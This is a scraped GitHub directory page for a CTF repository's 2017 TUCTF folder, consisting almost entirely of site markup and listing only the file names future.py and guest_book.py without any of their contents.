<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> vngkv123 </span> <span>/</span> CTF
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>14</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>38</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/vngkv123/CTF/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":105910326,"originating_url":"https://github.com/vngkv123/CTF/tree/master/ctf_in_2017/tuctf","user_id":null}}" data-hydro-click-hmac="3eacc9a2029da58672ed9f227bd7abf0392269baef27dd46a04e32a87c06b58f"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/vngkv123/CTF/refs" cache-key="v0:1507219027.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dm5na3YxMjMvQ1RG" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/vngkv123/CTF/refs" cache-key="v0:1507219027.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dm5na3YxMjMvQ1RG" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF</span></span></span><span>/</span><span><span>ctf_in_2017</span></span><span>/</span>tuctf<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF</span></span></span><span>/</span><span><span>ctf_in_2017</span></span><span>/</span>tuctf<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/vngkv123/CTF/tree-commit/4f7bda9d45bdbada34711a8a59a61e9f65a260f8/ctf_in_2017/tuctf" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/vngkv123/CTF/file-list/master/ctf_in_2017/tuctf"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>future.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>guest_book.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
